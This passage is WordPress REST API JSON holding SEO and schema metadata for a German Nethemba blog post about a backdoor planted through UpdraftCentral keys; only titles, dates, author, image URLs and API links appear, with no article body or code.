Lupt\u00e1k\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#\\\/schema\\\/person\\\/5f4ba68c8e1a2013d30e0804245b8234\"},\"headline\":\"Kritisches Sicherheitsproblem bei UpdraftCentral: Ein Angreifer mit den Schl\u00fcsseln des Dienstes installierte eine Hintert\u00fcr auf unseren Websites\",\"datePublished\":\"2026-10-19T05:44:04+00:00\",\"dateModified\":\"2026-10-19T15:03:25+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/\"},\"wordCount\":4254,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/nethemba.com\\\/wp-content\\\/uploads\\\/2026\\\/10\\\/updraftcentral-backdoor-de.png\",\"articleSection\":[\"Blog\"],\"inLanguage\":\"de\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/\",\"url\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/\",\"name\":\"Kritisches Sicherheitsproblem bei UpdraftCentral: Ein Angreifer mit den Schl\u00fcsseln des Dienstes installierte eine Hintert\u00fcr auf unseren Websites - Nethemba\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/nethemba.com\\\/wp-content\\\/uploads\\\/2026\\\/10\\\/updraftcentral-backdoor-de.png\",\"datePublished\":\"2026-10-19T05:44:04+00:00\",\"dateModified\":\"2026-10-19T15:03:25+00:00\",\"description\":\"Angreifer nutzte UpdraftCentral-Schl\u00fcssel (UpdraftPlus, 4+ Mio. Installationen) f\u00fcr eine Hintert\u00fcr in WordPress. Analyse, IOCs und Pr\u00fcfanleitung.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#breadcrumb\"},\"inLanguage\":\"de\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"de\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#primaryimage\",\"url\":\"https:\\\/\\\/nethemba.com\\\/wp-content\\\/uploads\\\/2026\\\/10\\\/updraftcentral-backdoor-de.png\",\"contentUrl\":\"https:\\\/\\\/nethemba.com\\\/wp-content\\\/uploads\\\/2026\\\/10\\\/updraftcentral-backdoor-de.png\",\"width\":1200,\"height\":1140},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/nethemba.com\\\/home-new-2025\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Kritisches Sicherheitsproblem bei UpdraftCentral: Ein Angreifer mit den Schl\u00fcsseln des Dienstes installierte eine Hintert\u00fcr auf unseren Websites\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#website\",\"url\":\"https:\\\/\\\/nethemba.com\\\/de\\\/\",\"name\":\"Nethemba\",\"description\":\"We care about your security\",\"publisher\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/nethemba.com\\\/de\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"de\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#organization\",\"name\":\"Nethemba\",\"url\":\"https:\\\/\\\/nethemba.com\\\/de\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"de\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/nethemba.com\\\/wp-content\\\/uploads\\\/2025\\\/03\\\/Logo-UP.png\",\"contentUrl\":\"https:\\\/\\\/nethemba.com\\\/wp-content\\\/uploads\\\/2025\\\/03\\\/Logo-UP.png\",\"width\":66,\"height\":70,\"caption\":\"Nethemba\"},\"image\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#\\\/schema\\\/logo\\\/image\\\/\"},\"sameAs\":[\"https:\\\/\\\/www.facebook.com\\\/nethemba\",\"https:\\\/\\\/x.com\\\/nethemba\",\"https:\\\/\\\/sk.linkedin.com\\\/company\\\/nethemba\",\"https:\\\/\\\/www.youtube.com\\\/@sabretoothatNethemba\"]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#\\\/schema\\\/person\\\/5f4ba68c8e1a2013d30e0804245b8234\",\"name\":\"Pavol Lupt\u00e1k\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"de\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g\",\"caption\":\"Pavol Lupt\u00e1k\"},\"sameAs\":[\"https:\\\/\\\/www.nethemba.com\\\/\"]}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Kritisches Sicherheitsproblem bei UpdraftCentral: Ein Angreifer mit den Schl\u00fcsseln des Dienstes installierte eine Hintert\u00fcr auf unseren Websites - Nethemba","description":"Angreifer nutzte UpdraftCentral-Schl\u00fcssel (UpdraftPlus, 4+ Mio. Installationen) f\u00fcr eine Hintert\u00fcr in WordPress. Analyse, IOCs und Pr\u00fcfanleitung.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/","og_locale":"de_DE","og_type":"article","og_title":"Kritisches Sicherheitsproblem bei UpdraftCentral: Ein Angreifer mit den Schl\u00fcsseln des Dienstes installierte eine Hintert\u00fcr auf unseren Websites - Nethemba","og_description":"Angreifer nutzte UpdraftCentral-Schl\u00fcssel (UpdraftPlus, 4+ Mio. Installationen) f\u00fcr eine Hintert\u00fcr in WordPress. Analyse, IOCs und Pr\u00fcfanleitung.","og_url":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/","og_site_name":"Nethemba","article_publisher":"https:\/\/www.facebook.com\/nethemba","article_published_time":"2026-10-19T05:44:04+00:00","article_modified_time":"2026-10-19T15:03:25+00:00","og_image":[{"width":1200,"height":1140,"url":"https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/updraftcentral-backdoor-de.png","type":"image\/png"}],"author":"Pavol Lupt\u00e1k","twitter_card":"summary_large_image","twitter_creator":"@nethemba","twitter_site":"@nethemba","twitter_misc":{"Verfasst von":"Pavol Lupt\u00e1k","Gesch\u00e4tzte Lesezeit":"30\u00a0Minuten"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#article","isPartOf":{"@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/"},"author":{"name":"Pavol Lupt\u00e1k","@id":"https:\/\/nethemba.com\/de\/#\/schema\/person\/5f4ba68c8e1a2013d30e0804245b8234"},"headline":"Kritisches Sicherheitsproblem bei UpdraftCentral: Ein Angreifer mit den Schl\u00fcsseln des Dienstes installierte eine Hintert\u00fcr auf unseren Websites","datePublished":"2026-10-19T05:44:04+00:00","dateModified":"2026-10-19T15:03:25+00:00","mainEntityOfPage":{"@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/"},"wordCount":4254,"commentCount":0,"publisher":{"@id":"https:\/\/nethemba.com\/de\/#organization"},"image":{"@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#primaryimage"},"thumbnailUrl":"https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/updraftcentral-backdoor-de.png","articleSection":["Blog"],"inLanguage":"de","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/","url":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/","name":"Kritisches Sicherheitsproblem bei UpdraftCentral: Ein Angreifer mit den Schl\u00fcsseln des Dienstes installierte eine Hintert\u00fcr auf unseren Websites - Nethemba","isPartOf":{"@id":"https:\/\/nethemba.com\/de\/#website"},"primaryImageOfPage":{"@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#primaryimage"},"image":{"@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#primaryimage"},"thumbnailUrl":"https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/updraftcentral-backdoor-de.png","datePublished":"2026-10-19T05:44:04+00:00","dateModified":"2026-10-19T15:03:25+00:00","description":"Angreifer nutzte UpdraftCentral-Schl\u00fcssel (UpdraftPlus, 4+ Mio. Installationen) f\u00fcr eine Hintert\u00fcr in WordPress. Analyse, IOCs und Pr\u00fcfanleitung.","breadcrumb":{"@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#breadcrumb"},"inLanguage":"de","potentialAction":[{"@type":"ReadAction","target":["https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/"]}]},{"@type":"ImageObject","inLanguage":"de","@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#primaryimage","url":"https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/updraftcentral-backdoor-de.png","contentUrl":"https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/updraftcentral-backdoor-de.png","width":1200,"height":1140},{"@type":"BreadcrumbList","@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/nethemba.com\/home-new-2025\/"},{"@type":"ListItem","position":2,"name":"Kritisches Sicherheitsproblem bei UpdraftCentral: Ein Angreifer mit den Schl\u00fcsseln des Dienstes installierte eine Hintert\u00fcr auf unseren Websites"}]},{"@type":"WebSite","@id":"https:\/\/nethemba.com\/de\/#website","url":"https:\/\/nethemba.com\/de\/","name":"Nethemba","description":"We care about your security","publisher":{"@id":"https:\/\/nethemba.com\/de\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/nethemba.com\/de\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"de"},{"@type":"Organization","@id":"https:\/\/nethemba.com\/de\/#organization","name":"Nethemba","url":"https:\/\/nethemba.com\/de\/","logo":{"@type":"ImageObject","inLanguage":"de","@id":"https:\/\/nethemba.com\/de\/#\/schema\/logo\/image\/","url":"https:\/\/nethemba.com\/wp-content\/uploads\/2025\/03\/Logo-UP.png","contentUrl":"https:\/\/nethemba.com\/wp-content\/uploads\/2025\/03\/Logo-UP.png","width":66,"height":70,"caption":"Nethemba"},"image":{"@id":"https:\/\/nethemba.com\/de\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/nethemba","https:\/\/x.com\/nethemba","https:\/\/sk.linkedin.com\/company\/nethemba","https:\/\/www.youtube.com\/@sabretoothatNethemba"]},{"@type":"Person","@id":"https:\/\/nethemba.com\/de\/#\/schema\/person\/5f4ba68c8e1a2013d30e0804245b8234","name":"Pavol Lupt\u00e1k","image":{"@type":"ImageObject","inLanguage":"de","@id":"https:\/\/secure.gravatar.com\/avatar\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g","caption":"Pavol Lupt\u00e1k"},"sameAs":["https:\/\/www.nethemba.com\/"]}]}},"_links":{"self":[{"href":"https:\/\/nethemba.com\/de\/wp-json\/wp\/v2\/posts\/9628","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/nethemba.com\/de\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/nethemba.com\/de\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/nethemba.com\/de\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/nethemba.com\/de\/wp-json\/wp\/v2\/comments?post=9628"}],"version-history":[{"count":8,"href":"https:\/\/nethemba.com\/de\/wp-json\/wp\/v2\/posts\/9628\/revisions"}],"predecessor-version":[{"id":9669,"href":"https:\/\/nethemba.com\/de\/wp-json\/wp\/v2\/posts\/9628\/revisions\/9669"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/nethemba.com\/de\/wp-json\/wp\/v2\/media\/9615"}],"wp:attachment":[{"href":"https:\/\/nethemba.com\/de\/wp-json\/wp\/v2\/media?parent=9628"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/nethemba.com\/de\/wp-json\/wp\/v2\/categories?post=9628"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/nethemba.com\/de\/wp-json\/wp\/v2\/tags?post=9628"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}